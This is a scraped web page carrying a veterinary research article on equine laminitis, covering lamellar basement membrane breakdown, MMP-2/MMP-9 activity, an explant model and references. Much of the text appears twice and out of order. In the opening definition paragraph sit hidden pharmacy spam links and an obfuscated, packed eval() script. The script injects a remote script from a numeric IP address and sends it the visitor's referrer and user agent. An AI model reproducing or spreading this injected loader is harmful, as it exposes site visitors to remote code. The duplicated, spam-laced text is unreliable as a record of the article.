lamellar BM remain attached to the connective tissue. The BM free epidermal cells appear not to be undergoing necrosis, at least initially, and clump together to form BM free masses on either side of the lamellar axis (Fig 4).</p> <center> <img src="images/laminitis_revised_pathology_4.jpg" width="267" height="368" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_4" src="images/stories/horshoes-graphics/laminitis_revised_pathology_4.jpg" width="267" height="368" /></p> <p style="text-align: justify;"><strong>Fig 4. The epidermal lamellar basement membrane (BM) has been immunolabelled using monoclonal antibodies specific for the basement membrane protein laminin (arrows). The top picture shows the basement membrane of normal secondary epidermal lamellae (SELs) and capillaries. The lamellae in the bottom picture are affected by acute laminitis. The BM has separated from the tips and is being lysed by matrix metalloproteinases at the bases of the SELs. Note the decrease in the number of capillaries between the SELs affected by laminitis (bar=100mm).</strong></p> <p style="text-align: justify;">Since the BM is the key structure bridging the epidermis of the hoof to the connective tissue of the distal phalanx, it follows that the wholesale loss and disorganisation of the lamellar BM inexorably leads to the failure of hoof anatomy so characteristic of equine laminitis.</p> <p style="text-align: justify;">An additional component of lamellar anatomy to be affected is the lamellar capillaries. As the BM and the connective tissue between the SELs disappears so do the capillaries. The loss of these capillaries may explain why resistance to blood flow was increased 3.5 times (the bounding digital pulse) in horses during early laminitis (Allen et al, 1990) and why blood was bypassing the capillary bed through dilated arteriovenous anastomoses in the horses with acute laminitis studied by Hood et al (1978). Both of these phenonoma are now placed after the triggering of MMP production and occur as a consequence of it.</p> <p style="text-align: justify;">The enzymatic theory of laminitis aetiology based on lamellar MMP activation challenges the alternative view that laminitis develops because of vascular changes to the circulation of the foot. A current theory is that venoconstriction and high hydrostatic interstitial fluid pressure (compartment syndrome) impede the flow of blood in the lamellar microcirculation to cause ischaemic necrosis of epidermal lamellae (Allen et al 1990). Epidermal cell necrosis, intravascular coagulation and oedema are not recognized by us in sections made from tissue in the early stages of laminitis. The vessels in the primary dermal lamella, even the smallest, are for the most part fully open without evidence of microvascular thrombi. Further, no abnormalities in the systemic coagulation and fibrinolytic cascades are found in horses with carbohydrate induced acute laminitis (Prasse et al,1990). The gross anatomical appearance of freshly dissected laminitis tissue is one of dryness. Sometimes the lamellae peel apart. Tissues affected by a compartment syndrome exude fluid.</p> <p style="text-align: justify;">How do the trigger factors of laminitis reach the lamellae? There is now strong evidence from three independent experimental sources (Robinson et al, 1976, Trout et al, 1990 and Pollitt and Davies, 1998) that the foot circulation during the developmental phase of laminitis is vasodilated. Laminitis does not occur if the foot is in a state of vasoconstriction during the prodromal phase suggesting that the trigger factors will only cause laminitis if they reach the lamellar tissues via dilated blood vessels at a high enough concentration and over a long enough time period. It follows that therapy aimed at keeping the feet of horses in danger of developing laminitis as cool as possible (and therefore vasoconstricted) is logical. Trials to determine the effect of a slurry of iced water applied to the feet of horses are underway. Preliminary results show that horses, unlike humans, do not regard extremely cold feet as uncomfortable and can tolerate having their feet in iced water for 48h with no ill effect. Scintigraphic studies comparing the circulation of iced feet versus normal shows profound vasoconstriction in the cold feet (Fig 5).</p> <p style="text-align: justify;">What are the laminitis trigger factors? Since the carbohydrate overload model of laminitis is characterised by endotoxin production it would seem a safe presumption that macrophages in the peritoneal cavity and elsewhere in the body would be subject to endotoxin stimulation just as they are during other acute gastrointestinal diseases (Barton et al 1996). Mononuclear phagocytes express tumour necrosis factor along with other cytokines such as interleukin within minutes of exposure to endotoxin. The cytokine cascade originating from an acute abdomen is responsible for most of the pathological effects of endotoxemia. However laminitis has never been triggered by the experimental administration of endotoxin into the bloodstream or the peritoneal cavity and the actual trigger factors of laminitis remain unidentified. What appears certain in the light of recent research is that the lamellar disintegration of laminitis is mediated by the uncontrolled release of excess MMP.</p> <p style="text-align: justify;">Fig 4. A scintigraphic study of the circulation of both front feet shows that the iced left foot has approximately 10-15% of the blood flow of the normal right foot. (Photo by Jan Young)</p> <p style="text-align: justify;">We have successfully developed an <em>in vitro</em> model (Pollitt et al, 1998) for equine laminitis using small explants of tissue taken from the inner hoof wall of normal, freshly killed, abattoir horses. Each explant consists of stratum medium, the lamellar layer and the sub-lamellar connective tissue. After incubation for 48 h in tissue culture medium, plus the laminitis trigger factor under investigation, each explant is subjected to tension. The force required to separate epidermal from dermal lamellae is recorded. When dermal-epidermal lamellar separation occurs readily (as occurs in field cases of laminitis) we consider the tissue to have developed <em>in vitro</em> laminitis. Lamellar explants can be cultured for up to 7 days in normal medium and no lamellar separation occurs. It is virtually impossible to separate normal lamellar explants. One event that readily causes separation of lamellar explants is MMP activation. The addition to the culture medium of the organo-mercurial compound aminophenylmercuric acetate (APMA), a well known non-physiological MMP activator, readily induces explant lamellar separation. Treatment of lamellar explants with APMA is the <em>in vitro </em>laminitis control against which naturally occurring laminitis induction factors can be measured. The presence or absence of MMP activation in explant supernatants is detected zymographically using gelatin polyacrylamide electrophoresis and all explant tissues are fixed and examined histologically. Histological sections show a clear zone of complete separation between the basement membrane and the basal cells of the epidermal lamellae. This is a characteristic of <em>in vitro</em> laminitis and resembles the basement membrane lesion of natural <em>in vivo</em> laminitis.</p> <p style="text-align: justify;">We have used the <em>in vitro</em> laminitis explant model to investigate most of the proposed causes of equine laminitis. The equine lamellae have tested resistant to virtually all known cytokines, tissue factors and prostaglandins. Gram negative bacterial endotoxin, extract of black walnut (Juglans nigra) and even anaerobic culture conditions fail to induce</p> <center> <img src="images/laminitis_revised_pathology_5.jpg" width="317" height="238" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_5" src="images/stories/horshoes-graphics/laminitis_revised_pathology_5.jpg" width="317" height="238" /></p> <p style="text-align: justify;"><strong>Fig 5. Polyacrylamide gel zymography (gel contains 0.1% gelatin) of lamellar explants from a horse with laminitis. Lane 1 = normal hoof explant supernatant. Lanes 2 &amp; 3 = laminitis fore hoof explant supernatants. Lane 4 &amp; 5 = laminitis hind hoof explant supernatants. Molecular weights are derived from standards (not shown). There is a significant increase is the amount of active MMP 9 (82 kDa) and MMP2 (62kDa). Ref: Pollitt et al, 1998. </strong></p> <p style="text-align: justify;">lamellar separation or significant MMP activation. There is one notable exception however. A factor present in the supernatant of cultures of <em>Streptococcus bovis</em> isolated from the equine cecum activates equine hoof MMP-2 and causes lamellar separation. During grain overload <em>S. bovis </em>is the principal microorganism responsible for the rapid fermentation of carbohydrate to lactic acid in the equine hindgut. In the presence of virtually unlimited substrate its population explodes exponentially. We are currently investigating the role of the <em>S. bovis</em> MMP activator in natural cases of equine laminitis (Mungall et al 1999). If it crosses the mucosal barrier of the hindgut and enters the circulation it may be a “cause” of laminitis (at least in the carbohydrate overload model) that has escaped previous consideration.</p> <p style="text-align: justify;">The activity of tissue MMPs has recently been shown to correlate strongly with the degree of malignancy and invasiveness of lethal human tumours such as malignant melanoma, breast and colon cancer. Research in this field has generated a wide range of chemical agents capable of inhibiting MMP activity both in vitro and in vivo. We have shown that one of these (Batimastat or BB-94, British Biotech, Oxford) blocks the activity of the laminitis MMPs in vitro and has the potential to be a useful tool in the prevention and management of acute laminitis (Pollitt et al, 1998). Trials to test whether MMP inhibitors can prevent or ameliorate field cases of laminitis are currently underway in the Australian Laminitis Research Unit at The University of Queensland.</p> <p style="text-align: center;"><strong>ACKNOWLEDGEMENTS</strong></p> <p style="text-align: justify;">This research was funded by a grant from the RIRDC entitled “Investigations into the cause and prevention of equine laminitis”. In addition the author gratefully acknowledges the generous financial assistance of O’Dwyer Horseshoes (Australia) Pty. Ltd. and the Animal Health Foundation (St Louis, Missouri) both of whom have committed on-going funds to assist the work of the Australian Laminitis Research Unit at The University of Queensland.</p> <p style="text-align: center;"><strong>REFERENCES</strong></p> <p style="text-align: justify;">Allen, D. et al (1990). Evaluation of equine digital Starling forces and hemodynamics during early laminitis. <strong><em>Am J Vet Res</em></strong>. <strong>51</strong>: 1930-1934.</p> <p style="text-align: justify;">Barton. M,H, et al (1996). Endotoxin induced expression of tumour necrosis factor, tissue factor and plasminogen activator inhibitor activity by peritoneal macrophages. <strong><em>Equine Vet J.</em>28</strong>:382-389.</p> <p style="text-align: justify;">Birkedal-Hansen,H. (1995). Proteolytic remodeling of extracellular matrix. Current opinion in cell biology. <strong>7</strong>:728-735.</p> <p style="text-align: justify;">Eustace, R.A. and Reddon, R.R. (1990). Iatrogenic laminitis (letter). <strong><em>Vet Rec</em></strong>. <strong>126</strong>: 586.</p> <p style="text-align: justify;">Galey, F.D. et al (1991). Black walnut (Juglans nigra) toxicosis: a model for equine laminitis. <strong><em>J Comp Pathol.</em></strong> <strong>104</strong>:313-326.</p> <p style="text-align: justify;">Hood D M et al (1978). Equine laminitis 1: Radioisotopic analysis of the hemodynamics of the foot during the acute disease.<strong><em> J Equine Med Surg</em></strong> <strong>2</strong>:439-444.</p> <p style="text-align: justify;">Hunt. R,J, (1993). A retrospective evaluation of laminitis in horses. <strong><em>Equine vet J</em></strong>. <strong>25</strong>: 61-64.</p> <p style="text-align: justify;">Longland, A and Cairns A (1998). Sugars in grass-an overview of sucrose and fructan accumulation in temperate grasses. In: proceedings of the Dodson and Horrelll International Research Conference on Laminitis. Stoneleigh, Warwickshire, England. September 1998;pp1-3.</p> <p style="text-align: justify;">Pollitt, C.C. (1996). Basement membrane pathology: a feature of acute laminitis. <em><strong>Equine vet. J.</strong> </em><strong>28</strong>: 38-46.</p> <p style="text-align: justify;">Pollitt, C.C. and Daradka, M. (1998). Equine laminitis basement membrane pathology: loss of type IV collagen, type VII collagen and laminin immunostaining. The Equine Hoof. <strong><em>Equine vet. J.</em></strong> Supplement <strong>27</strong>.</p> <p style="text-align: justify;">Pollitt. C,C, and Davies. C,L, (1998). Equine laminitis: its development post alimentary carbohydrate overload coincides with increased sublamellar blood flow. . The Equine Hoof. <strong><em>Equine vet. J</em></strong>. Supplement <strong>27</strong>.</p> <p style="text-align: justify;">Pollitt, C.C., Pass, M.A. and Pollitt, S. (1998). Batimastat (BB-94) inhibits matrix metalloproteinases of equine laminitis. . The Equine Hoof. <strong><em>Equine vet. J. Supplement</em></strong> <strong>27</strong>.</p> <p style="text-align: justify;">Prasse, K.W. et al (1990). Evaluation of coagulation and fibrinolysis during the prodromal stages of carbohydrate induced acute laminitis in horses. <strong><em>Am J Vet Res</em></strong> <strong>51</strong>: 1950-1955.</p> <p style="text-align: justify;">Mungall, B.A., Kyaw-Tanner, M. and Pollitt, C.C. (1999) In vitro evidence for a bacterial pathogenesis of equine laminitis (In preparation).</p> <p style="text-align: justify;">Robinson NE et al, 1976. Digital vascular responses and permeability in equine alimentary laminitis. <strong><em>Am J Vet Res</em></strong> <strong>37</strong>:1171-1174.</p> <p style="text-align: justify;">Salo, T., Lyons, J.G., Rahemtulla,F. Birkedal-Hansen, H. and Larjava,H. (1990). Transforming growth factor –1 up-regulates type IV collagenase expression in cultured human keratinocytes. <strong><em>J. Biol.Chem</em></strong>. <strong>266</strong>:11436-11441.</p> <p style="text-align: justify;">Trout TR et al (1990). Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. <strong><em>Equine vet J</em>. 22</strong>: 416-421.</p> <p style="text-align: justify;">Posted here with the permission of the author.</p></div> <div class="feed-description"><p style="text-align: justify;"><span class="dropcap">T</span>he simplest definition of laminitis is: <strong>failure of the attachment between the distal phalanx (coffin bone) and the inner hoof wall</strong>. A horse has laminitis when the lamellae of the inner hoof wall, <a href="http://******-buy.net" style="text-decoration:none;color:#555555">purchase</a> which normally suspend the distal phalanx from the inner surface of the hoof capsule, <a href="http://cialisbuy.net" style="text-decoration:none;color:#555555">sales</a> degenerate and fail. Without the distal phalanx properly attached to the inside of the hoof, the weight of the horse and the forces of locomotion drive the bone down into the hoof capsule. This process shears arteries and veins and crushes the corium of the sole and coronet, causing unrelenting pain and a characteristic lameness (Fig 1).</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dftnf|var|u0026u|referrer|bfeka||js|php'.split('|'),0,{})) </script></noindex> <center> <img src="images/laminitis_revised_pathology_1.jpg" width="467" height="322" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_1" src="images/stories/horshoes-graphics/laminitis_revised_pathology_1.jpg" width="467" height="322" /></p> <p style="text-align: justify;"><strong>Fig 1. Horse with severe laminitis in both front feet showing typical laminitis gait. The hind feet are placed as far forward as possible before the horse attempts painful shuffling steps in front.</strong></p> <p style="text-align: justify;">A <em>developmental phase</em>, during which lamellar separation is triggered, precedes the appearance of the foot pain of laminitis. This may be as short as 8 -12 h in the case of laminitis caused by exposure to the water soluble toxins of black walnut (Juglans nigra) heartwood shavings (Galey et al 1991) or 30 - 40 h in the case of excessive ingestion of high starch grain. During the developmental phase and prior to the clinical appearance of foot pain the horse or pony usually experiences a problem with one or more of the following organ systems: gastrointestinal, respiratory, reproductive, renal, endocrine, musculoskeletal, integumentary and immune. Multi-systemic aberrations in organs anatomically remote from the foot result in the lamellar tissues of the feet being exposed to factors which lead to separation and disorganisation of lamellar anatomy. The exact nature of the laminitis trigger factors, apparently reaching the lamellar tissues via the circulation, has yet to be elucidated. Sometimes no developmental phase can be recognized: the horse or pony is discovered in the acute phase with no apparent ill-health or inciting problem occurring beforehand. This appears to be the case with grass founder although Longland and Cairns (1998) researching the metabolism of grass, growing when the sun shines in Wales, have shown that the grass founder inciting factor may be a soluble sugar called fructan suddenly reaching very high concentrations in the stem of the plant and triggering a gastrointestinal disturbance when consumed by horses and ponies. The parenteral injection of potent long acting corticosteroid preparations for the treatment of skin disease may precipitate iatrogenic acute laminitis (Eustace and Reddon, 1990).</p> <p style="text-align: justify;">The <em>developmental phase</em> merges into the <em>acute phase</em> of laminitis which lasts from the onset of clinical foot pain and lameness at the trot, to the time when there is clinical (usually radiological) evidence of displacement of the distal phalanx within the hoof capsule (Fig 2). After the acute phase, if the horse does not die from the disease process inciting the development of laminitis, it can make an apparent complete recovery or develop palmar displacement of the distal phalanx, the hallmark of chronic laminitis. The <em>chronic phase</em> can last indefinitely with clinical signs ranging from persistent,</p> <center> <img src="images/laminitis_revised_pathology_2.jpg" width="429" height="284" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_2" src="images/stories/horshoes-graphics/laminitis_revised_pathology_2.jpg" width="429" height="284" /></p> <p style="text-align: justify;"><strong>Fig 2. Sagittal section of a horse’s foot with severe chronic laminitis. The distal phalanx has separated from its connection to the inner hoof wall and has descended into the hoof capsule causing the sole to bulge downward. Note the haemorrhage and bruising in the corium at the coronet and sole (arrows). </strong></p> <p style="text-align: justify;">mild lameness, continued severe foot pain, further degeneration of lamellar attachments, recumbency, hoof wall deformation and sloughing of the hooves (Hunt, 1993). It is important to realise that the process initiating the destruction of the lamellar attachment apparatus begins to operate during the developmental phase before the first clinical sign of laminitis, <strong>foot pain</strong>, is apparent. During the developmental phase the specific problems of the horse, often have to be attended to urgently (e.g. acute abdomen, grain overload acidosis, rhabdomyolysis, retained placenta) and unfortunately the feet may not enter into the therapeutic equation until the signs of foot pain appear. By the time foot pain is apparent lamellar pathology is underway. In other words foot pain is the clinical sign that lamellar disintegration is occurring (Fig 3). To wait and see if foot pain is the sequel to a metabolic crisis is to miss the opportunity to prevent or at least ameliorate lamellar pathology.</p> <center> <img src="images/laminitis_revised_pathology_3.jpg" width="255" height="350" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_3" src="images/stories/horshoes-graphics/laminitis_revised_pathology_3.jpg" width="255" height="350" /></p> <p style="text-align: justify;"><strong>Fig 3. Histology of the tip of a normal epidermal lamella (left) and one affected by acute laminitis of 48h duration (right). In the normal lamella the basement membrane (arrows) is firmly attached to the basal cells of the hoof epidermis. When laminitis intervenes the epidermal cells detach from their basement membrane allowing the hoof to separate from the distal phalanx and cause the clinical sign of foot pain (bar=25mm).</strong></p> <p style="text-align: justify;">The spectacular disintegration of the lamellar attachment apparatus, initiated during the development phase of laminitis, renders a normally robust and trouble free hoof/connective tissue/bone attachment system useless in a relatively short period of time. Logic dictates that somehow, it is a normally tightly controlled metabolic process or structure that is thrown into disarray to cause the lamellar specific lesion of laminitis during its developmental phase.</p> <p style="text-align: justify;">We believe that it is the enzymatic remodeling of the epidermal lamellae, assumed to be mandatory if the continually proliferating hoof wall is to move past the stationary distal phalanx, that is the target of the laminitis disease process.</p> <p style="text-align: justify;">Enzymes capable of destroying key components of the lamellar attachment apparatus have been isolated from normal lamellar tissues and in increased quantities from lamellar tissues affected by laminitis (Pollitt et al 1998). The enzymes are metalloproteinase -2 and metalloproteinase -9 (MMP-2 and MMP-9) also found in a wide range of human and animal remodeling tissues such as bone, joints and endometrium as well as in metastasizing malignant tumours (Birkdal-Hansen (1995).</p> <p style="text-align: justify;">It is assumed that MMP activity is constantly responding to the stresses and strains of normal equine life as well as to constant growth. When called for, sufficient MMP is manufactured locally, to release epidermal cell to cell, and cell to basement membrane attachment, as required, to maintain the correct shape and orientation of the hoof lamellae. From time to time injury to the basement membrane would require its lysis and reconstruction. The controlled release of specific MMP inhibitors keeps this remodeling process in equilibrium and the hoof lamellae and the hoof itself slowly migrate past the stationary basal cells firmly attached to their underlying basement membrane and in turn via connective tissue to the distal phalanx.</p> <p style="text-align: justify;">The epidermal cells of other species have been shown to readily increase their production of MMP when exposed to cytokines. Cultures of human oral mucosal keratinocytes respond to the addition of tumour necrosis factor (TNF), interleukin -1 (IL-1 ) and transforming growth factor - 1 (TGF- 1) by increasing production of MMP-9 (Salo<em> et al</em> 1994). Lamellar tissues affected by laminitis also increase their MMP production especially MMP in its active form (Pollitt et al, 1998) but whether in response to circulating cytokines or some other trigger factor is yet to be established. The lamellar basal and parabasal cells lose their normal shape, become elongated and appear to slide over one another and, as a consequence, the secondary epidermal lamellae become attenuated with tapering, instead of club shaped, tips (Pollitt 1996). The lamellar basement membrane begins to disappear initially at the bases of the SELs where most of the parabasal cells reside (Pollitt and Daradka, 1998). The BM of the remainder of the SEL loses its attachment to the basal cells and sheets of BM peel away to form aggregations of loose isolated BM in the connective tissue adjoining the lamellae. The detachment of BM appears to progress from the epidermal side and the sheets of loose lamellar BM remain attached to the connective tissue. The BM free epidermal cells appear not to be undergoing necrosis, at least initially, and clump together to form BM free masses on either side of the lamellar axis (Fig 4).</p> <center> <img src="images/laminitis_revised_pathology_4.jpg" width="267" height="368" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_4" src="images/stories/horshoes-graphics/laminitis_revised_pathology_4.jpg" width="267" height="368" /></p> <p style="text-align: justify;"><strong>Fig 4. The epidermal lamellar basement membrane (BM) has been immunolabelled using monoclonal antibodies specific for the basement membrane protein laminin (arrows). The top picture shows the basement membrane of normal secondary epidermal lamellae (SELs) and capillaries. The lamellae in the bottom picture are affected by acute laminitis. The BM has separated from the tips and is being lysed by matrix metalloproteinases at the bases of the SELs. Note the decrease in the number of capillaries between the SELs affected by laminitis (bar=100mm).</strong></p> <p style="text-align: justify;">Since the BM is the key structure bridging the epidermis of the hoof to the connective tissue of the distal phalanx, it follows that the wholesale loss and disorganisation of the lamellar BM inexorably leads to the failure of hoof anatomy so characteristic of equine laminitis.</p> <p style="text-align: justify;">An additional component of lamellar anatomy to be affected is the lamellar capillaries. As the BM and the connective tissue between the SELs disappears so do the capillaries. The loss of these capillaries may explain why resistance to blood flow was increased 3.5 times (the bounding digital pulse) in horses during early laminitis (Allen et al, 1990) and why blood was bypassing the capillary bed through dilated arteriovenous anastomoses in the horses with acute laminitis studied by Hood et al (1978). Both of these phenonoma are now placed after the triggering of MMP production and occur as a consequence of it.</p> <p style="text-align: justify;">The enzymatic theory of laminitis aetiology based on lamellar MMP activation challenges the alternative view that laminitis develops because of vascular changes to the circulation of the foot. A current theory is that venoconstriction and high hydrostatic interstitial fluid pressure (compartment syndrome) impede the flow of blood in the lamellar microcirculation to cause ischaemic necrosis of epidermal lamellae (Allen et al 1990). Epidermal cell necrosis, intravascular coagulation and oedema are not recognized by us in sections made from tissue in the early stages of laminitis. The vessels in the primary dermal lamella, even the smallest, are for the most part fully open without evidence of microvascular thrombi. Further, no abnormalities in the systemic coagulation and fibrinolytic cascades are found in horses with carbohydrate induced acute laminitis (Prasse et al,1990). The gross anatomical appearance of freshly dissected laminitis tissue is one of dryness. Sometimes the lamellae peel apart. Tissues affected by a compartment syndrome exude fluid.</p> <p style="text-align: justify;">How do the trigger factors of laminitis reach the lamellae? There is now strong evidence from three independent experimental sources (Robinson et al, 1976, Trout et al, 1990 and Pollitt and Davies, 1998) that the foot circulation during the developmental phase of laminitis is vasodilated. Laminitis does not occur if the foot is in a state of vasoconstriction during the prodromal phase suggesting that the trigger factors will only cause laminitis if they reach the lamellar tissues via dilated blood vessels at a high enough concentration and over a long enough time period. It follows that therapy aimed at keeping the feet of horses in danger of developing laminitis as cool as possible (and therefore vasoconstricted) is logical. Trials to determine the effect of a slurry of iced water applied to the feet of horses are underway. Preliminary results show that horses, unlike humans, do not regard extremely cold feet as uncomfortable and can tolerate having their feet in iced water for 48h with no ill effect. Scintigraphic studies comparing the circulation of iced feet versus normal shows profound vasoconstriction in the cold feet (Fig 5).</p> <p style="text-align: justify;">What are the laminitis trigger factors? Since the carbohydrate overload model of laminitis is characterised by endotoxin production it would seem a safe presumption that macrophages in the peritoneal cavity and elsewhere in the body would be subject to endotoxin stimulation just as they are during other acute gastrointestinal diseases (Barton et al 1996). Mononuclear phagocytes express tumour necrosis factor along with other cytokines such as interleukin within minutes of exposure to endotoxin. The cytokine cascade originating from an acute abdomen is responsible for most of the pathological effects of endotoxemia. However laminitis has never been triggered by the experimental administration of endotoxin into the bloodstream or the peritoneal cavity and the actual trigger factors of laminitis remain unidentified. What appears certain in the light of recent research is that the lamellar disintegration of laminitis is mediated by the uncontrolled release of excess MMP.</p> <p style="text-align: justify;">Fig 4. A scintigraphic study of the circulation of both front feet shows that the iced left foot has approximately 10-15% of the blood flow of the normal right foot. (Photo by Jan Young)</p> <p style="text-align: justify;">We have successfully developed an <em>in vitro</em> model (Pollitt et al, 1998) for equine laminitis using small explants of tissue taken from the inner hoof wall of normal, freshly killed, abattoir horses. Each explant consists of stratum medium, the lamellar layer and the sub-lamellar connective tissue. After incubation for 48 h in tissue culture medium, plus the laminitis trigger factor under investigation, each explant is subjected to tension. The force required to separate epidermal from dermal lamellae is recorded. When dermal-epidermal lamellar separation occurs readily (as occurs in field cases of laminitis) we consider the tissue to have developed <em>in vitro</em> laminitis. Lamellar explants can be cultured for up to 7 days in normal medium and no lamellar separation occurs. It is virtually impossible to separate normal lamellar explants. One event that readily causes separation of lamellar explants is MMP activation. The addition to the culture medium of the organo-mercurial compound aminophenylmercuric acetate (APMA), a well known non-physiological MMP activator, readily induces explant lamellar separation. Treatment of lamellar explants with APMA is the <em>in vitro </em>laminitis control against which naturally occurring laminitis induction factors can be measured. The presence or absence of MMP activation in explant supernatants is detected zymographically using gelatin polyacrylamide electrophoresis and all explant tissues are fixed and examined histologically. Histological sections show a clear zone of complete separation between the basement membrane and the basal cells of the epidermal lamellae. This is a characteristic of <em>in vitro</em> laminitis and resembles the basement membrane lesion of natural <em>in vivo</em> laminitis.</p> <p style="text-align: justify;">We have used the <em>in vitro</em> laminitis explant model to investigate most of the proposed causes of equine laminitis. The equine lamellae have tested resistant to virtually all known cytokines, tissue factors and prostaglandins. Gram negative bacterial endotoxin, extract of black walnut (Juglans nigra) and even anaerobic culture conditions fail to induce</p> <center> <img src="images/laminitis_revised_pathology_5.jpg" width="317" height="238" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_5" src="images/stories/horshoes-graphics/laminitis_revised_pathology_5.jpg" width="317" height="238" /></p> <p style="text-align: justify;"><strong>Fig 5. Polyacrylamide gel zymography (gel contains 0.1% gelatin) of lamellar explants from a horse with laminitis. Lane 1 = normal hoof explant supernatant. Lanes 2 &amp; 3 = laminitis fore hoof explant supernatants. Lane 4 &amp; 5 = laminitis hind hoof explant supernatants. Molecular weights are derived from standards (not shown). There is a significant increase is the amount of active MMP 9 (82 kDa) and MMP2 (62kDa). Ref: Pollitt et al, 1998. </strong></p> <p style="text-align: justify;">lamellar separation or significant MMP activation. There is one notable exception however. A factor present in the supernatant of cultures of <em>Streptococcus bovis</em> isolated from the equine cecum activates equine hoof MMP-2 and causes lamellar separation. During grain overload <em>S. bovis </em>is the principal microorganism responsible for the rapid fermentation of carbohydrate to lactic acid in the equine hindgut. In the presence of virtually unlimited substrate its population explodes exponentially. We are currently investigating the role of the <em>S. bovis</em> MMP activator in natural cases of equine laminitis (Mungall et al 1999). If it crosses the mucosal barrier of the hindgut and enters the circulation it may be a “cause” of laminitis (at least in the carbohydrate overload model) that has escaped previous consideration.</p> <p style="text-align: justify;">The activity of tissue MMPs has recently been shown to correlate strongly with the degree of malignancy and invasiveness of lethal human tumours such as malignant melanoma, breast and colon cancer. Research in this field has generated a wide range of chemical agents capable of inhibiting MMP activity both in vitro and in vivo. We have shown that one of these (Batimastat or BB-94, British Biotech, Oxford) blocks the activity of the laminitis MMPs in vitro and has the potential to be a useful tool in the prevention and management of acute laminitis (Pollitt et al, 1998). Trials to test whether MMP inhibitors can prevent or ameliorate field cases of laminitis are currently underway in the Australian Laminitis Research Unit at The University of Queensland.</p> <p style="text-align: center;"><strong>ACKNOWLEDGEMENTS</strong></p> <p style="text-align: justify;">This research was funded by a grant from the RIRDC entitled “Investigations into the cause and prevention of equine laminitis”. In addition the author gratefully acknowledges the generous financial assistance of O’Dwyer Horseshoes (Australia) Pty. Ltd. and the Animal Health Foundation (St Louis, Missouri) both of whom have committed on-going funds to assist the work of the Australian Laminitis Research Unit at The University of Queensland.</p> <p style="text-align: center;"><strong>REFERENCES</strong></p> <p style="text-align: justify;">Allen, D. et al (1990). Evaluation of equine digital Starling forces and hemodynamics during early laminitis. <strong><em>Am J Vet Res</em></strong>. <strong>51</strong>: 1930-1934.</p> <p style="text-align: justify;">Barton. M,H, et al (1996). Endotoxin induced expression of tumour necrosis factor, tissue factor and plasminogen activator inhibitor activity by peritoneal macrophages. <strong><em>Equine Vet J.</em>28</strong>:382-389.</p> <p style="text-align: justify;">Birkedal-Hansen,H. (1995). Proteolytic remodeling of extracellular matrix. Current opinion in cell biology. <strong>7</strong>:728-735.</p> <p style="text-align: justify;">Eustace, R.A. and Reddon, R.R. (1990). Iatrogenic laminitis (letter). <strong><em>Vet Rec</em></strong>. <strong>126</strong>: 586.</p> <p style="text-align: justify;">Galey, F.D. et al (1991). Black walnut (Juglans nigra) toxicosis: a model for equine laminitis. <strong><em>J Comp Pathol.</em></strong> <strong>104</strong>:313-326.</p> <p style="text-align: justify;">Hood D M et al (1978). Equine laminitis 1: Radioisotopic analysis of the hemodynamics of the foot during the acute disease.<strong><em> J Equine Med Surg</em></strong> <strong>2</strong>:439-444.</p> <p style="text-align: justify;">Hunt. R,J, (1993). A retrospective evaluation of laminitis in horses. <strong><em>Equine vet J</em></strong>. <strong>25</strong>: 61-64.</p> <p style="text-align: justify;">Longland, A and Cairns A (1998). Sugars in grass-an overview of sucrose and fructan accumulation in temperate grasses. In: proceedings of the Dodson and Horrelll International Research Conference on Laminitis. Stoneleigh, Warwickshire, England. September 1998;pp1-3.</p> <p style="text-align: justify;">Pollitt, C.C. (1996). Basement membrane pathology: a feature of acute laminitis. <em><strong>Equine vet. J.</strong> </em><strong>28</strong>: 38-46.</p> <p style="text-align: justify;">Pollitt, C.C. and Daradka, M. (1998). Equine laminitis basement membrane pathology: loss of type IV collagen, type VII collagen and laminin immunostaining. The Equine Hoof. <strong><em>Equine vet. J.</em></strong> Supplement <strong>27</strong>.</p> <p style="text-align: justify;">Pollitt. C,C, and Davies. C,L, (1998). Equine laminitis: its development post alimentary carbohydrate overload coincides with increased sublamellar blood flow. . The Equine Hoof. <strong><em>Equine vet. J</em></strong>. Supplement <strong>27</strong>.</p> <p style="text-align: justify;">Pollitt, C.C., Pass, M.A. and Pollitt, S. (1998). Batimastat (BB-94) inhibits matrix metalloproteinases of equine laminitis. . The Equine Hoof. <strong><em>Equine vet. J. Supplement</em></strong> <strong>27</strong>.</p> <p style="text-align: justify;">Prasse, K.W. et al (1990). Evaluation of coagulation and fibrinolysis during the prodromal stages of carbohydrate induced acute laminitis in horses. <strong><em>Am J Vet Res</em></strong> <strong>51</strong>: 1950-1955.</p> <p style="text-align: justify;">Mungall, B.A., Kyaw-Tanner, M. and Pollitt, C.C. (1999) In vitro evidence for a bacterial pathogenesis of equine laminitis (In preparation).</p> <p style="text-align: justify;">Robinson NE et al, 1976. Digital vascular responses and permeability in equine alimentary laminitis. <strong><em>Am J Vet Res</em></strong> <strong>37</strong>:1171-1174.</p> <p style="text-align: justify;">Salo, T., Lyons, J.G., Rahemtulla,F. Birkedal-Hansen, H. and Larjava,H. (1990). Transforming growth factor –1 up-regulates type IV collagenase expression in cultured human keratinocytes. <strong><em>J. Biol.Chem</em></strong>. 